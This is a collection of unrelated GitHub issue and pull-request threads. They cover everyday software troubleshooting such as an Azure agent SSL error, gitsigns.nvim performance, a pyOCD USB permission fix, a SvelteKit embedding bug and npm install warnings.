"Add Resource" to environment script fails "SSL connection could not be established"

Description
When I execute the script for adding a new Resource (virtual machine) to my environment the script fails:

Log file
[2021-02-02 09:54:22Z INFO Terminal] WRITE LINE:
  ___                      ______ _            _ _
 / _ \                     | ___ (_)          | (_)
/ /_\ \_____   _ _ __ ___  | |_/ /_ _ __   ___| |_ _ __   ___  ___
|  _  |_  / | | | '__/ _ \ |  __/| | '_ \ / _ \ | | '_ \ / _ \/ __|
| | | |/ /| |_| | | |  __/ | |   | | |_) |  __/ | | | | |  __/\__ \
\_| |_/___|\__,_|_|  \___| \_|   |_| .__/ \___|_|_|_| |_|\___||___/
                                   | |
        agent v2.181.1             |_|          (commit 612c962)

[2021-02-02 09:54:22Z INFO ConfigurationManager] CheckAgentRootDirectorySecure
[2021-02-02 09:54:22Z INFO HostContext] Well known directory 'Bin': 'C:\azagent\A3\bin'
[2021-02-02 09:54:22Z INFO HostContext] Well known directory 'Root': 'C:\azagent\A3'
[2021-02-02 09:54:22Z INFO ConfigurationManager] ConfigureAsync
[2021-02-02 09:54:22Z INFO ConfigurationStore] IsConfigured()
[2021-02-02 09:54:22Z INFO ConfigurationStore] IsConfigured: False
[2021-02-02 09:54:22Z INFO ConfigurationManager] Is configured: False
[2021-02-02 09:54:22Z INFO CommandSettings] Flag 'sslskipcertvalidation': 'False'
[2021-02-02 09:54:22Z INFO ConfigurationManager] Testing for min NET Framework version: '4.6'
[2021-02-02 09:54:22Z INFO CommandSettings] Flag 'deploymentgroup': 'False'
[2021-02-02 09:54:22Z INFO CommandSettings] Flag 'deploymentpool': 'False'
[2021-02-02 09:54:22Z INFO CommandSettings] Flag 'environment': 'True'
[2021-02-02 09:54:22Z INFO ExtensionManager] Getting extensions for interface: 'Microsoft.VisualStudio.Services.Agent.Listener.Configuration.IConfigurationProvider'
[2021-02-02 09:54:22Z INFO ExtensionManager] Creating instance: Microsoft.VisualStudio.Services.Agent.Listener.Configuration.BuildReleasesAgentConfigProvider, Agent.Listener
[2021-02-02 09:54:22Z INFO ExtensionManager] Creating instance: Microsoft.VisualStudio.Services.Agent.Listener.Configuration.DeploymentGroupAgentConfigProvider, Agent.Listener
[2021-02-02 09:54:22Z INFO ExtensionManager] Creating instance: Microsoft.VisualStudio.Services.Agent.Listener.Configuration.SharedDeploymentAgentConfigProvider, Agent.Listener
[2021-02-02 09:54:22Z INFO ExtensionManager] Creating instance: Microsoft.VisualStudio.Services.Agent.Listener.Configuration.EnvironmentVMResourceConfigProvider, Agent.Listener
[2021-02-02 09:54:22Z INFO Terminal] WRITE LINE:
[2021-02-02 09:54:22Z INFO Terminal] WRITE LINE: >> Connect:
[2021-02-02 09:54:22Z INFO Terminal] WRITE LINE:
[2021-02-02 09:54:22Z INFO CommandSettings] Arg 'url': 'https://dev.azure.com/CoolOrange/'
[2021-02-02 09:54:22Z INFO EnvironmentVMResourceConfigProvider] url - https://dev.azure.com/CoolOrange/
[2021-02-02 09:54:22Z INFO ConfigurationManager] GetCredentialProvider
[2021-02-02 09:54:22Z INFO CommandSettings] Arg 'auth': 'PAT'
[2021-02-02 09:54:22Z INFO ConfigurationManager] Creating credential for auth: PAT
[2021-02-02 09:54:22Z INFO CredentialManager] GetCredentialProvider
[2021-02-02 09:54:22Z INFO CredentialManager] Creating type PAT
[2021-02-02 09:54:22Z INFO CredentialManager] Creating credential type: PAT
[2021-02-02 09:54:22Z INFO PersonalAccessToken] EnsureCredential
[2021-02-02 09:54:22Z INFO CommandSettings] Arg 'token': '***'
[2021-02-02 09:54:22Z INFO PersonalAccessToken] GetVssCredentials
[2021-02-02 09:54:22Z INFO PersonalAccessToken] token retrieved: 52 chars
[2021-02-02 09:54:22Z INFO PersonalAccessToken] cred created
[2021-02-02 09:54:22Z INFO ConfigurationManager] cred retrieved
[2021-02-02 09:54:22Z INFO VisualStudioServices] Starting operation Location.GetConnectionData
[2021-02-02 09:54:23Z ERR  VisualStudioServices] GET request to https://dev.azure.com/CoolOrange/_apis/connectionData?connectOptions=1&lastChangeId=-1&lastChangeId64=-1 failed. System.Net.Http.HttpRequestException: The SSL connection could not be established, see inner exception.
 ---> System.IO.IOException:  Received an unexpected EOF or 0 bytes from the transport stream.
   at System.Net.FixedSizeReader.ReadPacketAsync(Stream transport, AsyncProtocolRequest request)
   at System.Net.Security.SslStream.ThrowIfExceptional()
   at System.Net.Security.SslStream.InternalEndProcessAuthentication(LazyAsyncResult lazyResult)
   at System.Net.Security.SslStream.EndProcessAuthentication(IAsyncResult result)
   at System.Net.Security.SslStream.EndAuthenticateAsClient(IAsyncResult asyncResult)
   at System.Net.Security.SslStream.<>c.<AuthenticateAsClientAsync>b__65_1(IAsyncResult iar)
   at System.Threading.Tasks.TaskFactory`1.FromAsyncCoreLogic(IAsyncResult iar, Func`2 endFunction, Action`1 endAction, Task`1 promise, Boolean requiresSynchronization)
--- End of stack trace from previous location where exception was thrown ---
   at System.Net.Http.ConnectHelper.EstablishSslConnectionAsyncCore(Stream stream, SslClientAuthenticationOptions sslOptions, CancellationToken cancellationToken)
   --- End of inner exception stack trace ---
   at System.Net.Http.ConnectHelper.EstablishSslConnectionAsyncCore(Stream stream, SslClientAuthenticationOptions sslOptions, CancellationToken cancellationToken)
   at System.Net.Http.HttpConnectionPool.ConnectAsync(HttpRequestMessage request, Boolean allowHttp2, CancellationToken cancellationToken)
   at System.Net.Http.HttpConnectionPool.CreateHttp11ConnectionAsync(HttpRequestMessage request, CancellationToken cancellationToken)
   at System.Net.Http.HttpConnectionPool.GetHttpConnectionAsync(HttpRequestMessage request, CancellationToken cancellationToken)
   at System.Net.Http.HttpConnectionPool.SendWithRetryAsync(HttpRequestMessage request, Boolean doRequestAuth, CancellationToken cancellationToken)
   at System.Net.Http.AuthenticationHelper.SendWithAuthAsync(HttpRequestMessage request, Uri authUri, ICredentials credentials, Boolean preAuthenticate, Boolean isProxyAuth, Boolean doRequestAuth, HttpConnectionPool pool, CancellationToken cancellationToken)
   at System.Net.Http.DecompressionHandler.SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)
   at Microsoft.VisualStudio.Services.Common.VssHttpMessageHandler.SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)
   at Microsoft.VisualStudio.Services.Common.VssHttpRetryMessageHandler.SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)

Environment data

Hi @PatrickGrub! What OS version are you using? Have you had any previous versions of the agent on your machine?

Closing due to inactivity. Please feel free to reopen if you encounter this problem again.

After removing the internal proxy it worked!


Possible bug: Health Globe Healing Bonus seems incorrect

Hi,
If you look at the item Corruption on battle.net the value range is 5978–12794:

http://us.battle.net/d3/en/artisan/blacksmith/recipe/corruption
In your d3planner it gives the following values:

20,001-29,713 (regular)

32,684-38,625 (ancient)
Do you know why these values are different and which should be correct?

I'm not sure. What does it say in-game? IIRC there was a patch a while ago when they increased the health globe healing values, but that might not have affected Corruption, since my datamine also says 5978-12794.

Here is an example Corruption taken from my current Wizard (see "current" build):
http://www.d3planner.com/878241804

@DannyEnsink @d07RiV
If you look at the top 5 Corruption's in the world in terms of item perfection, 2 have low <13k values and 2 have >30k values
Is there a difference between hardcore and regular game mode values? That's about the only difference I can find between 2 of the top 3 as they're both ancient. See below:
http://www.diablo3ladder.com/view-item/Corruption-46567181.html
http://www.diablo3ladder.com/view-item/Corruption-28337512.html

Yeah that's weird, guess I'll just make a wider range for them just in case.

On Battle.net there is no real distinction made between hardcore and regular items as far as I can see. Though, I did find my Corruption on hardcore.
But would they really do that? Decrease the maximum amount of health gain from Health Globes and Potions on hardcore compared to the regular game mode? Would be kinda silly.

Pretty sure that's not the case, there's nothing to indicate any differences between hardcore and softcore items, other than Ancestor's Grace which is hardcore only.
You couldn't find them as its a crafted item. When did you make them, could it be before the healing bonus changes a few patches ago?

When did you make them, could it be before the healing bonus changes a few patches ago?
I made them with a seasonal character during Season 7 on a Hardcore Wizard.

Hey @d07RiV @DannyEnsink Currently by design, Corruption shoulders are rolling in the 5978-12794 range. I tested this over the weekend on softcore seasonal and normal. A bug report exists (as most other shoulders roll at the higher range now and no clarification is made as to why Corruption still rolls at the lower level).
Guesses argue that: Corruption rolls lower health globe values due to the guaranteed health globe radius roll on the item.
Either way, @DannyEnsink I think we can close this up, as @d07RiV now has the info they need

Thank you @jlhall for testing this.
Best @d07RiV can do (for now) is to increase the possible range to 5,978-38,625.

Thanks, apparently I did that a while ago, but only uploading the change now.

It seems they updated Corruption to have a higher roll, but it still doesn't seem to be high enough. Also globe radius seems to be just 1-2yd now?


Added Hangman Game written in Vanilla JS

@microsoft-github-policy-service agree

@microsoft-github-policy-service agree [company="default"]

@microsoft-github-policy-service agree

@saragibby  Ma'am, if you don't mind, can you please review this pull request?


Bump Shopify/theme-tools packages

Fixes https://github.com/Shopify/cli/issues/3404

I think it's due to the fact that there hasn't been a new release of @shopify/cli-kit since that PR got merged in yesterday, AND shopify/app will also need to use that (currently) unreleased version: https://github.com/Shopify/cli/blob/main/packages/app/package.json#L46


[system-probe] Enable dnat tests for protocol classification

What does this PR do?

Motivation

Additional Notes

Possible Drawbacks / Trade-offs

Describe how to test/QA your changes

Reviewer's Checklist

[x] If known, an appropriate milestone has been selected; otherwise the Triage milestone is set.
[ ] Use the major_change label if your change either has a major impact on the code base, is impacting multiple teams or is changing important well-established internals of the Agent. This label will be use during QA to make sure each team pay extra attention to the changed behavior. For any customer facing change use a releasenote.
[x] A release note has been added or the changelog/no-changelog label has been applied.
[ ] Changed code has automated tests for its functionality.
[x] Adequate QA/testing plan information is provided if the qa/skip-qa label is not applied.
[x] At least one team/.. label has been applied, indicating the team(s) that should QA this change.
[ ] If applicable, docs team has been notified or an issue has been opened on the documentation repo.
[ ] If applicable, the need-change/operator and need-change/helm labels have been applied.
[ ] If applicable, the k8s/<min-version> label, indicating the lowest Kubernetes version compatible with this feature.
[ ] If applicable, the config template has been updated.

The PR didn't trigger kitchen tests, triggering them manually

CI is failing https://gitlab.ddbuild.io/DataDog/datadog-agent/-/jobs/232833493

This looks to be a flake. I can't reproduce this locally.

This looks to be a flake

Does it consistently fail in CI?

This looks to be a flake

Does it consistently fail in CI?

no, it is flaky

CI is failing https://gitlab.ddbuild.io/DataDog/datadog-agent/-/jobs/232833493

This looks to be a flake. I can't reproduce this locally.

I know, even before we couldn't reproduce it locally (happened to me once)
it reproduced "very easily" in the CI

@hmahmood how do you want to proceed?

@hmahmood how do you want to proceed?

At this point it looks like we're failing on the rhel-86 runtime variant of the tests for kafka. I plan on looking into this more this week.


 Tested on a locally hosted server with 4 players and p2p.
Also happens on a dedicated server.
Only happens as last player.
No other addons.

Also, no other addons except the gamemode.

For some reason using ply:DropWeapon in DoPlayerDeath seems to cause this. Moved all the code to PlayerDeath which seems to solve this issue.


Improve performance on large files

Added config.use_decoration_provider to update signs instead of applying all signs on every update. This is experimental and must explicitly enabled.

Just done some more work on this. From my testing everything is a lot faster and comparable to gitgutter. gitgutter is still less laggy in some cases, but that's because it triggers on CursorHold whereas gitsigns triggers on something more equivalent to TextChange which happens more often.
@seblj @echasnovski. Any change you could try out the latest changes?

I'll have access tomorrow to the same setup from which I noticed slowdown. I'll try there.

I just gave this a go on my file with 99000 lines. I get no lag when navigating around, and the error I reported that I got when moving to the end of file fast, is gone. There is however some lag when typing and adding new lines. It looks like it's equal or a little bit better since last night in this part.
During my testing of typing fast and adding new lines fast to see how much lag there was, I got this message:

That is most definitely due to update being called too many times and not finishing quick enough causing the calls to overlap.
Was this with a tracked or untracked file? In my testing untracked files were really quick but I do run a new M1 MacBook which are pretty hard to choke.

This was with an untracked file, and I am running NVIM v0.5.0-dev+1102-g595f6e4d6 with iTerm2 Build 3.4.20210226-nightly on a 16 inch Macbook Pro base model. I just pushed my current nvim configuration to github as well. If you would like, I can add the file with 99000 lines to my dotfiles repo for you to test with.

I can get things to slow down if I crank the line limit to 600k so I can work with that to solve the overlapping update issue.

Ok, great! That is a massive amount of lines. Do you not notice any slowing down if you have an untracked file with 100k lines, and type and add new lines really fast?

Ok, great! That is a massive amount of lines. Do you not notice any slowing down if you have an untracked file with 100k lines, and type and add new lines really fast?

Nope. The example I created with the yes command is pretty smooth. The other example with 600k lines tracked is noticeably slower but not too bad.

That's impressive! Please let me know when you have more updates with this, and I would love to test it out. Meanwhile I will be staying on the develop branch to see if I notice anything else

I tested on big file (around 583000, 28.6 MiB) with current main and e7e0a07. Didn't notice any difference.
Symptoms:

Around 1-2 seconds freeze between when file is opened and when I can move cursor freely.
The same slowdown (but not freeze) after editing file in normal mode.
Very long slowdown when editing file in insert mode. Almost feels like the same slowdown occurs on after every inserted symbol.
Very big RAM usage (around 1.3 Gb).

System details:

Ubuntu: 18.04.
Git: 2.30.0.
Neovim: v0.5.0-dev+1062-gcc1851c9f
Used 'init.vim':

init.vim
" auto-install vim-plug
if empty(glob('~/.config/nvim/autoload/plug.vim'))
  silent !curl -fLo ~/.config/nvim/autoload/plug.vim --create-dirs
    \ https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim
  "autocmd VimEnter * PlugInstall
  "autocmd VimEnter * PlugInstall | source $MYVIMRC
endif

call plug#begin('~/.config/nvim/autoload/plugged')
    Plug 'nvim-lua/plenary.nvim'
    " Plug 'lewis6991/gitsigns.nvim'
    Plug 'lewis6991/gitsigns.nvim', { 'commit': 'e7e0a0768d52bc33c1a8d14e3bde439e33aeb8b2' }
call plug#end()

lua require'gitsigns'.setup { max_file_length = 1000000 }

I tested on big file (around 583000 lines, 28.6 MiB) with current main and e7e0a07. Didn't notice any difference.

I'm very surprised you didn't notice any difference. How many changes does this file have?

Around 1-2 seconds freeze between when file is opened and when I can move cursor freely.

Surprised about this too. Whilst testing on a vm, I'm yet to see this. Again maybe your file has too many changes. The performance will scale with the amount of hunks there are. Even though gitsigns (and gitgutter) are asynchronous. Neither are multi-threaded.
I did some more experiments and I believe the underlying thing is that gitgutter uses the CursorHold autocommand, whereas gitsigns uses the equivalent of TextChanged (with some minor debouncing).
I modified gitsigns to use CursorHold and found the performance to be the same or better than gitgutter. For some situations gitgutter was painfully slow, e.g. prepending a space to every line in a tracked file is unusable with gitgutter, whereas this branch of gitsigns could handle it with a bit of lag.
Increasing the debounce time will help, but other than that I'm not sure what else can be done other than using CursorHold which results in a worse experience for regular files.

Thought I could add a feedback for the develop branch: Yesterday I noticed that all the signs suddenly got removed while typing, and got added back just a second later. Since I do not have signcolumn on all the time, this was a bit annoying, and I later switched back to the main branch. This was on a relatively short file with less than 100 lines. Haven't noticed this issue on the main branch.

So I tried to do as thorough testing as is reasonable to minimize probability of me making some silly configuration mistake (still possible though :) ).
Steps:

Created a separate git repository with some big file 'big-file.csv' (600000 lines, 20.5 MiB) and committed it. So any future changes will introduce the only hunks to be displayed.
Emulated the same sequence of steps with 'gitsigns main', 'gitsigns e7e0a07', and 'gitgutter'. Captured all sequences (prepended with explicitly showing what configuration is used) on video alongside with system monitor and screenkey. Things to look for:

Slowdown of Neovim at start (cursor not moving right after pressing 'j').
Slowdown of Neovim when typing in insert mode (symbols do not appear at once).
Time after making change and signs appearing.
CPU and RAM usage.

Link to test with 'gitsigns main': https://streamable.com/ccpmum
Link to test with 'gitsigns e7e0a07': https://streamable.com/2pkbom
Link to test with 'gitgutter': https://streamable.com/i20trm
Link to a file (basically, some random dates and numerical values): https://dropmefiles.com/Alr7u

Thanks for such a thorough testing @echasnovski .
I did some more comparisons to gitgutter and I think I might have found the main thing causing the performance difference.
Currently gitsigns sends the buffer text to git-diff via a uv pipe to stdin whereas gitgutter just writes the buffer to a temporary file. I 'think' the uv pipe is causing the slowdown so I've opened #77 . Could you give it a go? Note this change doesn't use the decoration provider so there will be a slowdown if there are many signs.
In my testing with a 600k line file with a few signs the performance was identical to gitgutter. There will probably still be a performance lag when typing quickly but that's purely down to gitsigns using TextChanged over CursorHold, but I found overall performance to be a lot better.
For untracked files #77 will still be very slow.

I've just incorporated #77 into the develop branch and made some further tweaks to the decoration provider so you can just try develop.


Generate MD file + Create report tree

We still need to figure out the breadcrumbs and how to correctly link to index!

The breadcrumbs will be done in a separate PR.
Another PR will still have to adapt the links in the markdown file to point to the actual artifacts.


Changelog into PyPI page

Show changelog on pypi page for package.

LGTM

Do you want me to merge this?

Didn't realize I can do that myself. Done.


React native

Hey
it might be a noob question but i tried using it in react native and all hell broke loose ... since all these are react components ... any idea why it cannot be used in react native? (i am a bit disappointed  about this)
thanks
Rares

@wowzaaa You are not the only one wondering about this point. I'm closing this issue in favor of #593.


Run will not complete using Kubernetes without using --retries 3

Snakemake version

v7.8.0
Describe the bug

When using kubernetes the pipeline will randomly crash when running many samples vs a few.  The resulting error is noted below.  The run will eventually complete successfully after several manual restarts using --rerun-incomplete.  If --retries 3 is used the run will complete successfully, with the errors still present in the logs.
Logs

Error: "Unknown pod snakejob-955806c0-a0b3-54d4-8c00-984416752b05. Has the pod been deleted manually?"
Minimal example

snakemake -p --kubernetes --default-remote-provider S3 --default-remote-prefix dir/ --use-conda all
Additional context

I can confirm more than enough resources are available and being requested.
Seems like the same problem as #1405
This repo notes the issue as well.
I looked at the code here but still don't know why this happens:

Seems it was a resource issue on my end.


0.19.0 FreeBSD gdb server usb dev.kernel_detach_driver(interface_number)

Hello world :-) I have noticed a problem with kernel detach on usb when starting the gdbserver as standard user, it works when running as root, all permissions for user are granted to access the usb devices except kernel operations, will have to find if that detach is really necessary to operate..
(venv36bsd) [cd@0xCFC2 ~/cederom/usr/local/venv36bsd/bin]$ pyocd gdb
0000736:INFO:board:Target type is nrf52
0000749:ERROR:__main__:uncaught exception: [Errno None] Other error
Traceback (most recent call last):
  File "/home/cd/cederom/usr/local/venv36bsd/lib/python3.6/site-packages/pyocd/__main__.py", line 300, in run
    self._commands[self._args.cmd]()
  File "/home/cd/cederom/usr/local/venv36bsd/lib/python3.6/site-packages/pyocd/__main__.py", line 460, in do_gdbserver
    **sessionOptions)
  File "/home/cd/cederom/usr/local/venv36bsd/lib/python3.6/site-packages/pyocd/core/helpers.py", line 199, in session_with_chosen_probe
    session.open()
  File "/home/cd/cederom/usr/local/venv36bsd/lib/python3.6/site-packages/pyocd/core/session.py", line 278, in open
    self._probe.open()
  File "/home/cd/cederom/usr/local/venv36bsd/lib/python3.6/site-packages/pyocd/probe/cmsis_dap_probe.py", line 137, in open
    self._link.open()
  File "/home/cd/cederom/usr/local/venv36bsd/lib/python3.6/site-packages/pyocd/probe/pydapaccess/dap_access_cmsis_dap.py", line 562, in open
    self._interface.open()
  File "/home/cd/cederom/usr/local/venv36bsd/lib/python3.6/site-packages/pyocd/probe/pydapaccess/interface/pyusb_backend.py", line 104, in open
    dev.detach_kernel_driver(interface_number)
  File "/home/cd/cederom/usr/local/venv36bsd/lib/python3.6/site-packages/usb/core.py", line 1077, in detach_kernel_driver
    interface)
  File "/home/cd/cederom/usr/local/venv36bsd/lib/python3.6/site-packages/usb/backend/libusb1.py", line 902, in detach_kernel_driver
    _check(self.lib.libusb_detach_kernel_driver(dev_handle.handle, intf))
  File "/home/cd/cederom/usr/local/venv36bsd/lib/python3.6/site-packages/usb/backend/libusb1.py", line 595, in _check
    raise USBError(_strerror(ret), ret, _libusb_errno[ret])
usb.core.USBError: [Errno None] Other error

(venv36bsd) [cd@0xCFC2 ~/cederom/usr/local/venv36bsd/bin]$ pyocd -V
0.19.0

(venv36bsd) [cd@0xCFC2 ~/cederom/usr/local/venv36bsd/bin]$ uname -a
FreeBSD 0xCFC2 12.0-RELEASE-p4 FreeBSD 12.0-RELEASE-p4 GENERIC  amd64

The problem is:

with pyocd/probe/pydapaccess/interface/pyusb_backend.py, line 104, in dev.detach_kernel_driver(interface_number). Simply commenting out this line allows me to debug with no problem as user. Is there any other reason we want to detach any interface here?
two lines later exception is supposed to catch NotImplementedError, but does not catch usb.core.USBError: [Errno None] Other error. Should we catch all exceptions here? Maybe except Errno None?

Any hints welcome @flit  :-)

Got back to this problem even with simple pyocd reset after update. Will look into it and propose a solution :-)

Allright, the pyOCD tries to unload kernel driver for interface 3 on DAPLink, that is HID CMSIS-DAP. We do not really want to detach HID driver for the whole system and normal user is not permitted to. Nothing happens if we skip that unload, DAPLink works fine.. also nothing was handled in the exception handler anyway.. so I have changed source to simply catch all exceptions and print some debug and warning messages that may come useful :-)
https://github.com/mbedmicro/pyOCD/pull/939

The only minor issue left is that exception raises [None] Other error code / message. FreeBSD has its own LibUSB implementation. It looks like the error codes may differ between implementations. Someone reported similar problem with LimeSDR device. I will look into it in a free moment.. but the blocker seems to be fixed :-)

Patch committed to the master. Closing. Thank you @flit :-)


Using texture images from mtl file

Hi
I want to use texture images from mtl file instead of using isomap function image, could you give me any hint, please?

Sorry, I unfortunately have no idea what you mean. Feel free to re-open if you can provide a bit better information and maybe an example or something like that.


Question about actor dependency in ChildN... actor

I have a question about actor dependency.
If I creating infrastructure actor Parent and this actor creating Child1 and Child1 creating Child2 ... ChildN
How can I pass dependency to ChildN?
I think about some options:

Constructor injection with many services one by one (need to pass many services to Parent).
Constructor injection with 1 class what have composition of all services.
Service Locator (many people don't like this pattern).
Static classes (good for app wide services only).

What will be the best option?

This is exactly the problem I'm solving with my DI Extensions: https://github.com/AsynkronIT/protoactor-dotnet/pull/143
It uses an IServiceProvider to create all actors and you can create actors and PIDs with IActorFactory

Now it's merged, you can look at the DI example for getting an IActorFactory injected: https://github.com/AsynkronIT/protoactor-dotnet/blob/dev/examples/DependencyInjection/ActorManager.cs
This isn't on nuget though.

Thanks.


[WIP] feat: Drop disruption reason and support dirft sub-reason for budgets

Fixes #N/A
Description
How was this change tested?
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

I posted my thoughts in the K8s slack but I had a few high-level concerns with this approach:

What does it look like when you intersect the top-level Drifted condition with sub-conditions? I'm assuming that the most restrictive one applies but just want to confirm
The current model only allows a single condition at a given time which means that the ownership for the condition as well as the relative ordering of conditions gets a little ambiguous. If I have a NodeClaim that has both Subnets drifted and AMIs drifted and I have a budget that is more restrictive on AMIs, I would expect the AMI budget to apply, but today if the subnet condition came first in the checks, we would ignore the more restrictive budget. How are we thinking about filling the gap on this issue?


[Parameter Request / Event Change] codeunit 5760 "Whse.-Post Receipt" OnCodeOnAfterCalcShouldCreatePutAway - CounterPutAways

Could you please add the parameter var CounterPutAways: Integer to the event OnCodeOnAfterCalcShouldCreatePutAway as requested in the issue https://github.com/microsoft/ALAppExtensions/issues/15419 ?
local procedure "Code"()
var
    WhseManagement: Codeunit "Whse. Management";
    ShouldCreatePutAway: Boolean;
    IsHandled: Boolean;
begin

    ...

        GetLocation("Location Code");
        PutAwayRequired := Location.RequirePutaway("Location Code");
        OnCodeOnAfterSetPutAwayRequired(WhseRcptHeader, PutAwayRequired);
        ShouldCreatePutAway := PutAwayRequired and not Location."Use Put-away Worksheet";
        OnCodeOnAfterCalcShouldCreatePutAway(WhseRcptHeader, Location, PutAwayRequired, SuppressCommit, HideValidationDialog, ShouldCreatePutAway); //OLD
        OnCodeOnAfterCalcShouldCreatePutAway(WhseRcptHeader, Location, PutAwayRequired, SuppressCommit, HideValidationDialog, ShouldCreatePutAway, CounterPutAways); //NEW
        if ShouldCreatePutAway then begin
            CreatePutAwayDoc(WhseRcptHeader);
            if not SuppressCommit then
                Commit();
        end;

        Clear(WMSMgt);
        Clear(WhseJnlRegisterLine);
    end;

    OnAfterCode(WhseRcptHeader, WhseRcptLine);
end;

[IntegrationEvent(false, false)]
local procedure OnCodeOnAfterCalcShouldCreatePutAway(WhseRcptHeader: Record "Warehouse Receipt Header"; Location: Record Location; PutAwayRequired: Boolean; SuppressCommit: Boolean; HideValidationDialog: Boolean; var ShouldCreatePutAway: Boolean; var CounterPutAways: Integer)
begin
end;

Added in BC 19.3 (Preview)


safeWordLength doesn't work for the new formulas with letter quantifiers

safeWordLength can now only be compute for the subset of formulas corresponding to the old formulas. For example we can have a formula that uses a Now that builds an eventually with a timeout defined on the value of the current word, which is completely dynamic and cannot be bounded at the time the formula is defined. Hence safeWordLength should now be def safeWordLength : Option[Timeout] and use the Option monad to propagate None up in a formula as required

for now this only applies to the branch quantifiers_experiments


When fetching a SvelteKit SSR page to render in non-svelte page, the component is rendered to the head

Describe the bug
I have an old server-side rendered application that uses jQuery ajax calls to insert pre-rendered HTML in the document.  As part of an overhaul, I am trying to incrementally replace its pages with SvelteKit-rendered pages.  To do this, I have created a SvelteKit application in which the app.html page contains an HTML fragment rather than a full HTML page.  The main page makes an ajax request, fetches the SvelteKit-generated HTML, and then pushes the HTML into a div.  What happens is:

The SvelteKit HTML is rendered inside the target div, along with its script elements (as expected).
Something in the JavaScript executes, causing the component to be re-rendered inside the  element of the main page.  This wipes out everything else that was in the  element, including script and stylesheet references.
The javascript associated with the SvelteKi-rendered element  (click handlers, etc) do not function correctly.

I'm aware that this is probably not SvelteKit's intended use-case, but it would help me a great deal if it worked correctly.
Reproduction
A reproduction is here.  The steps to reproduce is explained in the README.
https://github.com/mkb137/sveltekit-embed-issue
You'll see a SvelteKit route called embedded that generates a div like

...

In static is a page at test-page/index.html with a button and an empty div like:

       <title>Test</title>

        <link href="style.css" rel="stylesheet"/>

Clicking the button makes an ajax call to fetch the SvelteKit page and put it in the target div:
    $.ajax({
        url: "/embedded",
        success: function(html) {
            console.log(` - loaded successfully`)
            $("#svelte-target").html(html)
        }
    })

When the button is clicked, the Svelte page does go into the div:

       <title>Test</title>

        <link href="style.css" rel="stylesheet"/>

...

But it also gets rendered in the document's  along with the svelte-announcer

...

...

...

This wipes out any <link rel="stylesheet">,


[CoordinatedMerge] Switch to latest ecommerce error format

Change
Following up with latest changes in https://github.com/artsy/metaphysics/pull/1276
once MP PR got merged i think we need to update MP's schema in Force too.

merging...


Request: Add support for commonjs

Hi! Are we amenable to adding support for commonjs? It's relatively simple:
pull request

Thank you for your PR. We've merged it, and published a new version of Chart2Music with your changes. You should see CommonJS support in v1.13.0.


Fixed animator bandwidth problem.

Closes  #388.

@paulpach No. The way I understand it, sync lists are only server->client. Authoritative client animations are not possible with what you are suggesting.

I see, NetworkAnimator can go both ways.   Ok.

I do agree about the NetworkWriter creating unnecessary garbage, but thats for another PR. I tried to keep things 'simple and stupid' :P

This is a big improvement.  @vis2k  do you have any more objections?

:tada: This PR is included in version 1.0.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Bar chart + line chart?

Is it possible to have a bar graph and a line graph in a single chart?
Similarly, is it possible to have 2 separate line graphs in a single chart with different left and right axis?
Thanks!

Hi,
as far as I know, currently it is not possible. You can put two s into same position, like this:
#ct-chart-1{position:absolute;z-index:101;width: 750px;}
#ct-chart-2{position:absolute;z-index:100;width: 750px;}

And then:
var lineChart = new Chartist.Line('#ct-chart-1', {... });
new Chartist.Bar('#ct-chart-2', {});;
Regards,
Ondrej

This is tracked with #37 and I've added this to the 1.0 milestone. Please track any progress there.
Cheers
Gion

Hi,
I'm trying to  combine bar chart and line chart
I have tried with the below code, Its working fine
#ct-chart-1{position:absolute;z-index:100;width: 500px;height:500px;}
#ct-chart-2{position:absolute;z-index:100;width: 500px;height:500px}
But when i try to apply chartist  bar and line graphs on the above divs like given below
new Chartist.Line('#ct-chart-1', {... });
new Chartist.Bar('#ct-chart-2', {});;
I am not getting Labels and series of bar and line chart in same location i.e., One above the other.
Can any one help me on this or suggest me if there is some other way of doing this.


Many notifications occurred during installation

I have clone the meanjs application on 13th of July and try to install on my local machine.
I am working on below environment.
Ubuntu 16.04 LTS
node version 8.0 and npm version 5.0
please check below response when i execute npm install command.
npm install
npm WARN deprecated<EMAIL_ADDRESS>..psst! While Bower is maintained, we recommend Yarn and Webpack for new front-end projects! Yarn's advantage is security and reliability, and Webpack's is support for both CommonJS and AMD projects. Currently there's no migration path, but please help to create it: https://github.com/bower/bower/issues/2467
npm WARN deprecated<EMAIL_ADDRESS>several bugs fixed in v3.2.1
npm WARN deprecated<EMAIL_ADDRESS>Please update to minimatch 3.0.2 or higher to avoid a RegExp DoS issue
npm WARN deprecated<EMAIL_ADDRESS>Please update to minimatch 3.0.2 or higher to avoid a RegExp DoS issue
npm WARN deprecated<EMAIL_ADDRESS>graceful-fs v3.0.0 and before will fail on node releases >= v7.0. Please update to<EMAIL_ADDRESS>as soon as possible. Use 'npm ls graceful-fs' to find it in the tree.
npm WARN prefer global<EMAIL_ADDRESS>should be installed with -g

<EMAIL_ADDRESS>install /home/administrator/Documents/mean/mean-master/node_modules/node-sass
node scripts/install.js

Downloading binary from https://github.com/sass/node-sass/releases/download/v4.5.3/linux-x64-57_binding.node
Download complete  ] - :
Binary saved to /home/administrator/Documents/mean/mean-master/node_modules/node-sass/vendor/linux-x64-57/binding.node
Caching binary to /home/administrator/.npm/node-sass/4.5.3/linux-x64-57_binding.node

<EMAIL_ADDRESS>install /home/administrator/Documents/mean/mean-master/node_modules/phantomjs-prebuilt
node install.js

PhantomJS not found on PATH
Download already available at /tmp/phantomjs/phantomjs-2.1.1-linux-x86_64.tar.bz2
Verified checksum of previously downloaded file
Extracting tar contents (via spawned process)
Removing /home/administrator/Documents/mean/mean-master/node_modules/phantomjs-prebuilt/lib/phantom
Copying extracted folder /tmp/phantomjs/phantomjs-2.1.1-linux-x86_64.tar.bz2-extract-1499925853093/phantomjs-2.1.1-linux-x86_64 -> /home/administrator/Documents/mean/mean-master/node_modules/phantomjs-prebuilt/lib/phantom
Writing location.js file
Done. Phantomjs binary available at /home/administrator/Documents/mean/mean-master/node_modules/phantomjs-prebuilt/lib/phantom/bin/phantomjs

<EMAIL_ADDRESS>install /home/administrator/Documents/mean/mean-master/node_modules/uws
node-gyp rebuild > build_log.txt 2>&1 || exit 0

<EMAIL_ADDRESS>install /home/administrator/Documents/mean/mean-master/node_modules/fsevents
node install

